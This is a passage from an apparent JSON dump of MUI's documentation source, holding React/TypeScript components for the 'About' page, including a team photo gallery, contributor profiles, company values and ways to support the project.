ease.\"\n        />\n        <Button\n          component={Link}\n          noLinkStyle\n          href={ROUTES.careers}\n          endIcon={<KeyboardArrowRightRounded fontSize=\"small\" />}\n          variant=\"contained\"\n          sx={{ width: { xs: '100%', sm: 'fit-content' } }}\n        >\n          View careers\n        </Button>\n      </Box>\n      <Box\n        component=\"img\"\n        src=\"/static/branding/about/illustrations/team-globe-distribution-light.png\"\n        alt=\"A map illustration with pins loosely positioned where team members from MUI are located.\"\n        loading=\"lazy\"\n        sx={(theme) => ({\n          mt: -20,\n          display: { xs: 'none', sm: 'block' },\n          width: '100%',\n          aspectRatio: '231/145',\n          ...theme.applyDarkStyles({\n            content: 'url(/static/branding/about/illustrations/team-globe-distribution-dark.png)',\n          }),\n        })}\n      />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/about/AboutHero.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport { styled, keyframes } from '@mui/material/styles';\nimport Section from 'docs/src/layouts/Section';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport TeamStatistics from 'docs/src/components/about/TeamStatistics';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nconst teamPhotos = [\n  {\n    img: '/static/branding/about/group-photo/teide-group.jpg',\n    title:\n      'A group photo of the MUI crew posing near the base of Mount Teide at the start of the hike.',\n  },\n  {\n    img: '/static/branding/about/group-photo/skiers.jpg',\n    title: 'MUI team members standing lined-up in the snow with their skigear.',\n  },\n  {\n    img: '/static/branding/about/group-photo/group-photo.jpg',\n    title: 'Photo of the MUI team in front of the pool at our accommodations in Tenerife',\n  },\n  {\n    img: '/static/branding/about/group-photo/team-dinner.png',\n    title: 'Members of the MUI team sitting around a large wooden dining table.',\n  },\n  {\n    img: '/static/branding/about/group-photo/working-table-tenerife.png',\n    title: 'The Toolpad team working together on a heads-down moment in Tenerife.',\n  },\n  {\n    img: '/static/branding/about/group-photo/scuba-gear.png',\n    title:\n      'MUI team members and their diving instructors pose in scuba gear before a scuba diving lesson.',\n  },\n  {\n    img: '/static/branding/about/group-photo/outdoor-focus-group.png',\n    title:\n      'An impromptu focus group gathered next to the pool to discuss cross-team marketing strategies.',\n  },\n  {\n    img: '/static/branding/about/group-photo/working-table-portugal.png',\n    title: 'MUI team members working together on a heads-down moment in Portugal.',\n  },\n  {\n    img: '/static/branding/about/group-photo/snow-tea.png',\n    title: 'The team shares a cup of tea up in the mountains of Chamonix, France.',\n  },\n  {\n    img: '/static/branding/about/group-photo/portugal-sight-seeing.png',\n    title: 'MUI team selfie while sightseeing in Lisbon, Portugal.',\n  },\n];\n\nconst ImageContainer = styled('div')(() => ({\n  display: 'flex',\n  gap: 16,\n  justifyContent: 'center',\n}));\n\nconst Image = styled('img')(({ theme }) => ({\n  width: 400,\n  height: 300,\n  boxSizing: 'content-box',\n  objectFit: 'cover',\n  borderRadius: theme.shape.borderRadius,\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  boxShadow: `0px 2px 8px ${(theme.vars || theme).palette.grey[200]}`,\n  transition: 'all 100ms ease',\n  ...theme.applyDarkStyles({\n    borderColor: (theme.vars || theme).palette.primaryDark[600],\n    boxShadow: `0px 2px 8px ${(theme.vars || theme).palette.common.black}`,\n  }),\n}));\n\nconst scroll = keyframes`\n  0% {\n    transform: translateX(0);\n  }\n  100% {\n    transform: translateX(-100%)\n  }\n`;\n\nfunction PhotoGallery() {\n  return (\n    <Box\n      sx={(theme) => ({\n        borderRadius: 1,\n        overflow: 'hidden',\n        position: 'relative',\n        minWidth: '100%',\n        display: 'flex',\n        gap: 2,\n        my: 5,\n        '& > div': {\n          animation: `${scroll} 120s linear infinite`,\n        },\n        '&::before, &::after': {\n          background: `linear-gradient(to right, #FFF 0%, rgba(255, 255, 255, 0) 100%)`,\n          content: \"''\",\n          height: '100%',\n          position: 'absolute',\n          width: 200,\n          zIndex: 1,\n          pointerEvents: 'none',\n        },\n        '&::before': {\n          right: { xs: -64, sm: -20 },\n          top: 0,\n          transform: 'rotateZ(180deg)',\n        },\n        '&::after': {\n          left: { xs: -64, sm: -20 },\n          top: 0,\n        },\n        ...theme.applyDarkStyles({\n          '&::before, &::after': {\n            background: `linear-gradient(to right, ${\n              (theme.vars || theme).palette.primaryDark[900]\n            } 0%, rgba(0, 0, 0, 0) 100%)`,\n          },\n        }),\n      })}\n    >\n      <ImageContainer>\n        {teamPhotos.map((item, index) => (\n          <Image\n            key={index}\n            src={item.img}\n            alt={item.title}\n            loading={index > 2 ? 'lazy' : undefined}\n            fetchPriority={index > 2 ? undefined : 'high'}\n          />\n        ))}\n      </ImageContainer>\n      <ImageContainer aria-hidden=\"true\">\n        {/* aria-hidden is used here because this element is a copy from the above, meaning we want to hide it from screen readers. */}\n        {teamPhotos.map((item, index) => (\n          <Image key={index} src={item.img} alt={item.title} loading=\"lazy\" />\n        ))}\n      </ImageContainer>\n    </Box>\n  );\n}\n\nexport default function AboutHero() {\n  return (\n    <Section cozy bg=\"gradient\">\n      <SectionHeadline\n        alwaysCenter\n        overline=\"About us\"\n        title={\n          <Typography variant=\"h2\" component=\"h1\">\n            We&apos;re on a mission to make <br />{' '}\n            <GradientText>building better UIs effortless</GradientText>\n          </Typography>\n        }\n        description=\"We give developers and designers the tools to bring stunning user interfaces to life with unrivaled speed and ease.\"\n      />\n      <PhotoGallery />\n      <TeamStatistics />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/about/HowToSupport.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport ForumRoundedIcon from '@mui/icons-material/ForumRounded';\nimport PeopleRoundedIcon from '@mui/icons-material/PeopleRounded';\nimport LocalAtmRoundedIcon from '@mui/icons-material/LocalAtmRounded';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport { Link } from '@mui/docs/Link';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport { GlowingIconContainer } from '@mui/docs/InfoCard';\n\nfunction Widget({\n  children,\n  title,\n  icon,\n}: {\n  children: React.ReactNode;\n  title: string;\n  icon: React.ReactElement<unknown>;\n}) {\n  return (\n    <Paper\n      variant=\"outlined\"\n      sx={(theme) => ({\n        p: 3,\n        height: '100%',\n        display: 'flex',\n        flexDirection: 'column',\n        background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n        ...theme.applyDarkStyles({\n          background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n        }),\n      })}\n    >\n      <GlowingIconContainer icon={icon} />\n      <Typography\n        component=\"h3\"\n        variant=\"body2\"\n        sx={{ fontWeight: 'bold', color: 'text.primary', mt: 2, mb: 0.5 }}\n      >\n        {title}\n      </Typography>\n      {children}\n    </Paper>\n  );\n}\n\nexport default function HowToSupport() {\n  return (\n    <Section cozy>\n      <SectionHeadline\n        overline=\"Support us\"\n        title={\n          <Typography variant=\"h2\" sx={{ mb: 4 }}>\n            Learn how to support\n            <br /> <GradientText>MUI&apos;s growth</GradientText>\n          </Typography>\n        }\n        description=\"\"\n      />\n      <Grid container spacing={3}>\n        <Grid size={{ xs: 12, sm: 6, md: 4 }}>\n          <Widget\n            icon={<ForumRoundedIcon fontSize=\"small\" color=\"primary\" />}\n            title=\"Give feedback\"\n          >\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1 }}>\n              Tell us what and where we can improve or share your happy moments with us! You can\n              also up or downvote any page on our documentation. <br />\n              <br /> And lastly, from time to time, we send our community a survey for more\n              structured feedback, you&apos;re always invited to participate to share your thoughts.\n            </Typography>\n            <Button\n              component=\"a\"\n              size=\"small\"\n              variant=\"outlined\"\n              fullWidth\n              href=\"https://github.com/mui/material-ui/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc\"\n              endIcon={<KeyboardArrowRightRounded />}\n              sx={{ mt: 'auto' }}\n            >\n              Leave your feedback{' '}\n            </Button>\n          </Widget>\n        </Grid>\n        <Grid size={{ xs: 12, sm: 6, md: 4 }}>\n          <Widget\n            icon={<PeopleRoundedIcon fontSize=\"small\" color=\"primary\" />}\n            title=\"Join the community\"\n          >\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1 }}>\n              Become a member of a huge community of developers supporting MUI. You can:\n            </Typography>\n            <Box component=\"ul\" sx={{ typography: 'body2', color: 'text.secondary', pl: 2, mb: 2 }}>\n              <li>\n                Add new features by{' '}\n                <Link href=\"https://github.com/mui/material-ui/blob/HEAD/CONTRIBUTING.md#your-first-pull-request\">\n                  submitting a pull request\n                </Link>\n                .\n              </li>\n              <li>\n                Fix bugs or{' '}\n                <Link href=\"https://github.com/mui/material-ui/tree/HEAD/docs\">\n                  improve our documentation\n                </Link>\n                .\n              </li>\n              <li>\n                Help others by reviewing and commenting on existing{' '}\n                <Link href=\"https://github.com/mui/material-ui/pulls\">PRs</Link> and{' '}\n                <Link href=\"https://github.com/mui/material-ui/issues\">issues</Link>.\n              </li>\n              <li>\n                Help <Link href=\"https://crowdin.com/project/material-ui-docs\">translate</Link> the\n                documentation.\n              </li>\n              <li>\n                Answer questions on{' '}\n                <Link href=\"https://stackoverflow.com/questions/tagged/material-ui\">\n                  Stack&nbsp;Overflow\n                </Link>\n                .\n              </li>\n            </Box>\n            <Button\n              component=\"a\"\n              size=\"small\"\n              variant=\"outlined\"\n              fullWidth\n              href=\"https://github.com/mui/material-ui\"\n              endIcon={<KeyboardArrowRightRounded />}\n              sx={{ mt: 'auto' }}\n            >\n              See the repository\n            </Button>\n          </Widget>\n        </Grid>\n        <Grid size={{ xs: 12, sm: 6, md: 4 }}>\n          <Widget\n            icon={<LocalAtmRoundedIcon fontSize=\"small\" color=\"primary\" />}\n            title=\"Support us financially\"\n          >\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1 }}>\n              If you use MUI in a commercial project and would like to support its continued\n              development by becoming a Sponsor, or in a side or hobby project and would like to\n              become a Backer, you can do so through {'Open Collective'}.\n              <br />\n              <br />\n              All funds donated are managed transparently, and Sponsors receive recognition in the\n              README and on the MUI home page.\n            </Typography>\n            <Button\n              component=\"a\"\n              size=\"small\"\n              variant=\"outlined\"\n              fullWidth\n              href=\"https://opencollective.com/mui-org\"\n              endIcon={<KeyboardArrowRightRounded />}\n              sx={{ mt: 'auto' }}\n            >\n              {'See Open Collective'}\n            </Button>\n          </Widget>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/about/OurValues.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport { Link } from '@mui/docs/Link';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport ROUTES from 'docs/src/route';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nconst values = [\n  {\n    title: 'User-obsessed 💙',\n    description: \"We never lose sight of who we're serving and why.\",\n    lightIcon: 'url(/static/branding/about/illustrations/community-light.svg)',\n    darkIcon: 'url(/static/branding/about/illustrations/community-dark.svg)',\n    width: 92,\n    height: 84,\n  },\n  {\n    title: 'Keep it simple 🚫',\n    description: \"We're so not corporate—and we like it that way.\",\n    lightIcon: 'url(/static/branding/about/illustrations/bureaucracy-light.svg)',\n    darkIcon: 'url(/static/branding/about/illustrations/bureaucracy-dark.svg)',\n    width: 81,\n    height: 94,\n  },\n  {\n    title: 'Chase \"better\" 🌱',\n    description: \"We're driven by an unending desire to improve.\",\n    lightIcon: 'url(/static/branding/about/illustrations/better-light.svg)',\n    darkIcon: 'url(/static/branding/about/illustrations/better-dark.svg)',\n    width: 89,\n    height: 89,\n  },\n  {\n    title: 'Trust and deliver together 🚀',\n    description: 'We choose to cultivate unity as the core of achievement.',\n    lightIcon: 'url(/static/branding/about/illustrations/trust-light.svg)',\n    darkIcon: 'url(/static/branding/about/illustrations/trust-dark.svg)',\n    width: 75,\n    height: 92,\n  },\n];\n\nexport default function OurValues() {\n  return (\n    <Section cozy>\n      <SectionHeadline\n        overline=\"Our values\"\n        title={\n          <Typography variant=\"h2\">\n            The MUI <GradientText>team pact</GradientText>\n          </Typography>\n        }\n        description=\"The MUI team pact describes the values we embody as a company, which help guide us toward the experiences and results we aim to deliver.\"\n      />\n      <Button\n        component={Link}\n        noLinkStyle\n        href={ROUTES.handbook}\n        endIcon={<KeyboardArrowRightRounded fontSize=\"small\" />}\n        variant=\"contained\"\n        sx={{ width: { xs: '100%', sm: 'fit-content' } }}\n      >\n        View our handbook\n      </Button>\n      <Grid container spacing={3} sx={{ mt: { xs: 1, sm: 2 } }}>\n        {values.map(({ title, description, darkIcon, lightIcon, height, width }) => (\n          <Grid key={title} size={{ xs: 12, md: 3 }}>\n            <Paper\n              variant=\"outlined\"\n              sx={(theme) => ({\n                p: 2.5,\n                height: '100%',\n                display: 'flex',\n                flexDirection: 'column',\n                gap: 1.5,\n                background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n                ...theme.applyDarkStyles({\n                  bgcolor: 'primaryDark.900',\n                  background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n                  borderColor: 'primaryDark.700',\n                }),\n              })}\n            >\n              <Box sx={{ height: 94 }}>\n                <Box\n                  sx={[\n                    {\n                      width,\n                      height,\n                    },\n                    (theme) => ({\n                      background: `${lightIcon}`,\n                      ...theme.applyDarkStyles({\n                        background: `${darkIcon}`,\n                      }),\n                    }),\n                  ]}\n                />\n              </Box>\n              <Box sx={{ flexGrow: 1 }}>\n                <Typography\n                  component=\"h3\"\n                  variant=\"body2\"\n                  sx={[\n                    {\n                      fontWeight: 'semiBold',\n                    },\n                    (theme) => ({\n                      mb: 0.5,\n                      color: (theme.vars || theme).palette.text.primary,\n                      '&::first-letter': {\n                        color: (theme.vars || theme).palette.primary.main,\n                      },\n                      ...theme.applyDarkStyles({\n                        '&::first-letter': {\n                          color: (theme.vars || theme).palette.primary[400],\n                        },\n                      }),\n                    }),\n                  ]}\n                >\n                  {title}\n                </Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                  {description}\n                </Typography>\n              </Box>\n            </Paper>\n          </Grid>\n        ))}\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/about/Team.tsx",
    "content": "import * as React from 'react';\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport Grid from '@mui/material/Grid';\nimport Paper, { PaperProps } from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport XIcon from '@mui/icons-material/X';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport teamMembers from 'docs/data/about/teamMembers.json';\n// The teamMembers.json file should be synced with `pnpm docs:sync-team`.\n\ninterface Profile {\n  /**\n   * The display name of the person.\n   * This is different from the full name (legal name).\n   */\n  name: string;\n  /**\n   * Role, what are you working on?\n   */\n  title: string;\n  /**\n   * Country where you live in, ISO 3166-1.\n   */\n  locationCountry: string; // https://flagpedia.net/download/api\n  /**\n   * Image URL.\n   */\n  src?: string;\n  /**\n   * Lives in.\n   */\n  location?: string;\n  /**\n   * Short summary about you.\n   */\n  about?: string;\n  github?: string;\n  twitter?: string;\n  linkedin?: string;\n}\n\nfunction Person(props: Profile & { sx?: PaperProps['sx'] }) {\n  return (\n    <Paper variant=\"outlined\" sx={{ p: 2, height: '100%', ...props.sx }}>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          flexWrap: 'wrap',\n          '& > div': { minWidth: 'clamp(0px, (150px - 100%) * 999 ,100%)' },\n        }}\n      >\n        <Tooltip\n          title={props.location || false}\n          placement=\"right-end\"\n          describeChild\n          slotProps={{\n            popper: {\n              popperOptions: {\n                modifiers: [\n                  {\n                    name: 'offset',\n                    options: {\n                      offset: [3, 2],\n                    },\n                  },\n                ],\n              },\n            },\n          }}\n        >\n          <Box sx={{ position: 'relative', display: 'inline-block' }}>\n            <Avatar\n              variant=\"rounded\"\n              slotProps={{\n                img: {\n                  width: '70',\n                  height: '70',\n                  loading: 'lazy',\n                },\n              }}\n              src={props.src}\n              alt={props.name}\n              {...(props.src?.startsWith('https://avatars.githubusercontent.com') && {\n                src: `${props.src}?s=70`,\n                srcSet: `${props.src}?s=140 2x`,\n              })}\n              sx={(theme) => ({\n                width: 70,\n                height: 70,\n                borderRadius: 1,\n                border: '1px solid',\n                borderColor: 'grey.100',\n                backgroundColor: 'primary.50',\n                ...theme.applyDarkStyles({\n                  backgroundColor: 'primary.900',\n                  borderColor: 'primaryDark.500',\n                }),\n              })}\n            />\n            <Box\n              sx={(theme) => ({\n                width: 24,\n                height: 24,\n                display: 'flex',\n                justifyContent: 'center',\n                position: 'absolute',\n                bottom: 0,\n                right: 0,\n                backgroundColor: '#FFF',\n                borderRadius: 40,\n                border: '2px solid',\n                borderColor: 'primary.50',\n                boxShadow: '0px 2px 6px rgba(0, 0, 0, 0.1)',\n                transform: 'translateX(50%)',\n                overflow: 'hidden',\n                ...theme.applyDarkStyles({\n                  borderColor: 'primary.200',\n                }),\n              })}\n            >\n              <img\n                loading=\"lazy\"\n                height=\"20\"\n                width=\"40\"\n                src={`https://flagcdn.com/${props.locationCountry}.svg`}\n                alt=\"\"\n              />\n            </Box>\n          </Box>\n        </Tooltip>\n        <Box sx={{ mt: -0.5, mr: -0.5, ml: 'auto' }}>\n          {props.github && (\n            <IconButton\n              aria-label={`${props.name} GitHub profile`}\n              component=\"a\"\n              href={`https://github.com/${props.github}`}\n              target=\"_blank\"\n              rel=\"noopener\"\n            >\n              <GitHubIcon fontSize=\"small\" sx={{ color: 'grey.500' }} />\n            </IconButton>\n          )}\n          {props.twitter && (\n            <IconButton\n              aria-label={`${props.name} X profile`}\n              component=\"a\"\n              href={`https://x.com/${props.twitter}`}\n              target=\"_blank\"\n              rel=\"noopener\"\n            >\n              <XIcon fontSize=\"small\" sx={{ color: 'grey.500' }} />\n            </IconButton>\n          )}\n          {props.linkedin && (\n            <IconButton\n              aria-label={`${props.name} LinkedIn profile`}\n              component=\"a\"\n              href={`https://www.linkedin.com/${props.linkedin}`}\n              target=\"_blank\"\n              rel=\"noopener\"\n            >\n              <LinkedInIcon fontSize=\"small\" sx={{ color: 'grey.500' }} />\n            </IconButton>\n          )}\n        </Box>\n      </Box>\n      <Typography variant=\"body2\" sx={{ fontWeight: 'bold', mt: 2, mb: 0.5 }}>\n        {props.name}\n      </Typography>\n      <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n        {props.title}\n      </Typography>\n      {props.about && <Divider sx={{ my: 1.5 }} />}\n      {props.about && (\n        <Typography variant=\"body2\" sx={{ color: 'text.tertiary' }}>\n          {props.about}\n        </Typography>\n      )}\n    </Paper>\n  );\n}\n\nconst contributors = [\n  {\n    name: 'Sebastian Silbermann',\n    github: 'eps1lon',\n    title: 'Material UI, everything Open Source',\n    location: 'Berlin, Germany',\n    locationCountry: 'de',\n    src: 'https://avatars.githubusercontent.com/u/12292047',\n    twitter: 'sebsilbermann',\n  },\n  {\n    name: 'Ryan Cogswell',\n    github: 'ryancogswell',\n    title: 'Stack Overflow top contributor',\n    location: 'Minnesota, United States',\n    locationCountry: 'us',\n    src: 'https://avatars.githubusercontent.com/u/287804',\n  },\n  {\n    name: 'Zeeshan Tamboli',\n    github: 'ZeeshanTamboli',\n    location: 'Pune, India',\n    locationCountry: 'in',\n    title: 'Material UI, MUI X',\n    src: 'https://avatars.githubusercontent.com/u/20900032',\n    twitter: 'ZeeshanTamboli',\n    linkedin: 'in/zeeshantamboli',\n  },\n  {\n    name: 'Sai Chand',\n    github: 'sai6855',\n    location: 'Hyderabad, India',\n    locationCountry: 'in',\n    title: 'Material UI, MUI X',\n    src: 'https://avatars.githubusercontent.com/u/60743144',\n    twitter: 'UrsSaichand',\n    linkedin: 'in/sai-chand-yamsani',\n  },\n];\n\nconst emeriti = [\n  {\n    name: 'Hai Nguyen',\n    github: 'hai-cea',\n    twitter: 'haicea',\n    title: 'Material UI, v0.x creator',\n    location: 'Dallas, US',\n    locationCountry: 'us',\n    src: 'https://avatars.githubusercontent.com/u/2007468',\n  },\n  {\n    name: 'Nathan Marks',\n    github: 'nathanmarks',\n    title: 'Material UI, v1.x co-creator',\n    location: 'Toronto, CA',\n    locationCountry: 'ca',\n    src: 'https://avatars.githubusercontent.com/u/4420103',\n  },\n  {\n    name: 'Kevin Ross',\n    github: 'rosskevin',\n    twitter: 'rosskevin',\n    title: 'Material UI, flow',\n    location: 'Franklin, US',\n    locationCountry: 'us',\n    src: 'https://avatars.githubusercontent.com/u/136564',\n  },\n  {\n    name: 'Sebastian Sebald',\n    github: 'sebald',\n    twitter: 'sebastiansebald',\n    title: 'Material UI',\n    location: 'Freiburg, Germany',\n    locationCountry: 'de',\n    src: 'https://avatars.githubusercontent.com/u/985701',\n  },\n  {\n    name: 'Ken Gregory',\n    github: 'kgregory',\n    title: 'Material UI',\n    location: 'New Jersey, US',\n    locationCountry: 'us',\n    src: 'https://avatars.githubusercontent.com/u/3155127',\n  },\n  {\n    name: 'Tom Crockett',\n    github: 'pelotom',\n    twitter: 'pelotom',\n    title: 'Material UI',\n    location: 'Los Angeles, US',\n    locationCountry: 'us',\n    src: 'https://avatars.githubusercontent.com/u/128019',\n  },\n  {\n    name: 'Maik Marschner',\n    github: 'leMaik',\n    twitter: 'leMaikOfficial',\n    title: 'Material UI',\n    location: 'Hannover, Germany',\n    locationCountry: 'de',\n    src: 'https://avatars.githubusercontent.com/u/5544859',\n  },\n  {\n    name: 'Oleg Slobodskoi',\n    github: 'kof',\n    twitter: 'oleg008',\n    title: 'Material UI, JSS',\n    location: 'Berlin, Germany',\n    locationCountry: 'de',\n    src: 'https://avatars.githubusercontent.com/u/52824',\n  },\n  {\n    name: 'Dmitriy Kovalenko',\n    github: 'dmtrKovalenko',\n    twitter: 'goose_plus_plus',\n    title: 'MUI X Date Pickers',\n    location: 'Kharkiv, Ukraine',\n    locationCountry: 'ua',\n    src: 'https://avatars.githubusercontent.com/u/16926049',\n  },\n  {\n    name: 'Josh Wooding',\n    github: 'joshwooding',\n    twitter: 'JoshWooding_',\n    title: 'Material UI, J.P. Morgan',\n    location: 'London, UK',\n    locationCountry: 'gb',\n    src: 'https://avatars.githubusercontent.com/u/12938082',\n  },\n  {\n    name: 'Yan Lee',\n    github: 'AGDholo',\n    title: 'Chinese docs',\n    location: 'China',\n    locationCountry: 'cn',\n    src: 'https://avatars.githubusercontent.com/u/13300332',\n  },\n  {\n    name: 'Danica Shen',\n    github: 'DDDDDanica',\n    title: 'Chinese docs',\n    location: 'Ireland',\n    locationCountry: 'ie',\n    src: 'https://avatars.githubusercontent.com/u/12678455',\n  },\n];\n\nexport default function Team() {\n  return (\n    <React.Fragment>\n      <Section cozy>\n        <Box sx={{ my: 4, display: 'flex', flexDirection: 'column' }}>\n          <SectionHeadline\n            overline=\"Team\"\n            title={\n              <Typography variant=\"h2\" id=\"muiers\">\n                Meet the <GradientText>MUIers</GradientText>\n              </Typography>\n            }\n            description=\"Contributing from all corners of the world, MUI is a global, fully-remote team & community.\"\n          />\n          <Button\n            component={Link}\n            noLinkStyle\n            href={ROUTES.careers}\n            endIcon={<KeyboardArrowRightRounded fontSize=\"small\" />}\n            variant=\"contained\"\n            sx={{ width: { xs: '100%', sm: 'fit-content' } }}\n          >\n            View careers\n          </Button>\n        </Box>\n        <Grid container spacing={2}>\n          {(teamMembers as Array<Profile>).map((profileJson) => {\n            const profile = {\n              src: `/static/branding/about/${profileJson.name\n                .split(' ')\n                .map((x) => x.toLowerCase())\n                .join('-')}.png`,\n              ...profileJson,\n            };\n            return (\n              <Grid key={profile.name} size={{ xs: 12, sm: 6, md: 3 }}>\n                <Person {...profile} />\n              </Grid>\n            );\n          })}\n        </Grid>\n      </Section>\n      <Divider />\n      {/* Community contributors */}\n      <Box data-mui-color-scheme=\"dark\" sx={{ bgcolor: 'common.black' }}>\n        <Container sx={{ py: { xs: 4, sm: 8 } }}>\n          <Typography\n            component=\"h3\"\n            variant=\"h4\"\n            sx={{ color: 'primary.200', fontWeight: 'semiBold' }}\n          >\n            Community contributors\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', maxWidth: { md: 500 } }}>\n            Special members of the community deserve a shout-out for their ever-lasting impact on\n            MUI&apos;s open-source projects.\n          </Typography>\n          <Grid container spacing={2} sx={{ mt: 2 }}>\n            {contributors.map((profile) => (\n              <Grid key={profile.name} size={{ xs: 12, sm: 6, md: 3 }}>\n                <Person {...profile} sx={{ bgcolor: 'primaryDark.600' }} />\n              </Grid>\n            ))}\n          </Grid>\n          <Divider sx={{ my: { xs: 2, sm: 6 } }} />\n          <Typography\n            component=\"h3\"\n            variant=\"h4\"\n            sx={{ color: 'warning.300', fontWeight: 'semiBold' }}\n          >\n            Community emeriti\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', maxWidth: { md: 500 } }}>\n            We honor some no-longer-active core team members who have made valuable contributions in\n            the past. They advise us from time to time.\n          </Typography>\n          <Grid container spacing={2} sx={{ mt: 2 }}>\n            {emeriti.map((profile) => (\n              <Grid key={profile.name} size={{ xs: 12, sm: 6, md: 3 }}>\n                <Person {...profile} sx={{ bgcolor: 'primaryDark.600' }} />\n              </Grid>\n            ))}\n          </Grid>\n        </Container>\n      </Box>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/about/TeamStatistics.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nconst data = [\n  { number: '2014', metadata: 'The starting year' },\n  { number: '100%', metadata: 'Remote global team' },\n  { number: '20+', metadata: 'Countries represented' },\n];\n\nexport default function TeamStatistics() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center', gap: 2 }}>\n      {data.map((item) => (\n        <Box key={item.number} sx={{ height: '100%', width: { xs: '100%', sm: 200 } }}>\n          <Typography\n            component=\"p\"\n            variant=\"h4\"\n            sx={[\n              {\n                fontWeight: 'bold',\n              },\n              (theme) => ({\n                textAlign: { xs: 'left', sm: 'center' },\n                color: 'primary.main',\n                ...theme.applyDarkStyles({\n                  color: 'primary.200',\n                }),\n              }),\n            ]}\n          >\n            {item.number}\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', textAlign: { xs: 'left', sm: 'center' } }}>\n            {item.metadata}\n          </Typography>\n        </Box>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/ArrowButton.tsx",
    "content": "import IconButton, { IconButtonProps } from '@mui/material/IconButton';\nimport KeyboardArrowLeftRounded from '@mui/icons-material/KeyboardArrowLeftRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\n\nexport default function ArrowButton({\n  direction,\n  ...props\n}: { direction: 'left' | 'right' } & IconButtonProps) {\n  const label = {\n    left: 'Previous',\n    right: 'Next',\n  };\n  return (\n    <IconButton\n      size=\"small\"\n      aria-label={label[direction]}\n      {...props}\n      sx={[\n        {\n          border: '1px solid',\n          color: 'primary.main',\n          borderColor: 'grey.200',\n          '&:hover': {\n            borderColor: 'grey.300',\n          },\n          '&.Mui-disabled': {\n            opacity: 0.5,\n            color: 'grey.700',\n            borderColor: 'grey.300',\n          },\n          '& + .MuiIconButton-root': {\n            ml: 2,\n          },\n        },\n        (theme) =>\n          theme.applyDarkStyles({\n            color: 'primary.200',\n            borderColor: 'primaryDark.400',\n            '&:hover': {\n              borderColor: 'primary.300',\n            },\n            '&.Mui-disabled': {\n              color: 'primaryDark.200',\n              borderColor: 'primaryDark.400',\n            },\n          }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    >\n      {direction === 'left' && <KeyboardArrowLeftRounded fontSize=\"small\" />}\n      {direction === 'right' && <KeyboardArrowRightRounded fontSize=\"small\" />}\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/ComponentShowcaseCard.tsx",
